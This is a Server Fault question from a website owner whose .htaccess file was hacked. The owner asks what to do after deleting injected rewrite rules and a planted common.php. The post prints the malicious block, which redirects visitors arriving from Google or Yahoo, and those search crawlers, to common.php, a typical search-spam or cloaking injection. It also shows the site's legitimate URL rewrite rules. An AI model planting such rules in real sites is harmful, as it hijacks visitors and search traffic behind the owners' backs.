htaccess hacked - i've deleted code and file - what next?
        Posted  
        
            by 
                user1762595
            
        on Server Fault
        
        See other posts from Server Fault
        
            or by user1762595
        
        
        
        Published on 2012-10-21T05:18:17Z
        Indexed on 
            2012/10/21
            11:04 UTC
        
        
        Read the original article
        Hit count: 281
        
.htaccess
My website was hacked recently. I think i've found the code that was added to the htaccess file, deleted it and then added script to prevent the htaccess file being accessed again. I've also deleted the php file that the hacked code refers to (common.php). What do i need to do next? I'm not a programmer or website developer but i really wanted to see if i could fix the problem myself as i've spent quite a few hours trying and don't give up easily.
Here is the hacked code that i deleted;
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} (google|yahoo) [OR]
    RewriteCond %{HTTP_REFERER} (google|yahoo)
    RewriteCond %{REQUEST_URI} /$ [OR]
    RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC] 
    RewriteCond %{REQUEST_FILENAME} !common.php
    RewriteCond /home/httpd/vhosts/bluestardive.com/httpdocs/common.php -f
    RewriteRule ^.*$    /common.php [L]
    </IfModule>
this code has to stay in the htaccess file as it redirects my url to seo friendly ones or the website errors, but has this code been hacked as well?
# Apache search queries statistic module
    RewriteEngine On
    AddHandler php5-fastcgi .php .php5
    # <contrexx>
    #   <core_modules__alias>
        RewriteRule ^about-us$    /index.php?page=883 [L,NC]
        RewriteRule ^ausfluge-und-aktivitaten$    /index.php?page=800 [L,NC]
        RewriteRule ^bluestardive-news$    /index.php?page=919 [L,NC]
        RewriteRule ^bookings$    /index.php?page=911 [L,NC]
        RewriteRule ^diveresort$    /index.php?page=879 [L,NC]
        RewriteRule ^diving$    /index.php?page=880 [L,NC]
        RewriteRule ^excursions-and-activities$    /index.php?page=881 [L,NC]
        RewriteRule ^galerie$    /index.php?section=gallery [L,NC]
        RewriteRule ^oceannight$    http://www.bluestardive.com/index.php?page=906 [L,NC]
        RewriteRule ^philosophy$    /index.php?page=846 [L,NC]
        RewriteRule ^reservation$    /index.php?page=917 [L,NC]
        RewriteRule ^reservierung$    /index.php?page=918 [L,NC]
        RewriteRule ^resort$    /index.php?page=798 [L,NC]
    #   </core_modules__alias>
    # </contrexx>
many thanks for any help Claire
© Server Fault or respective owner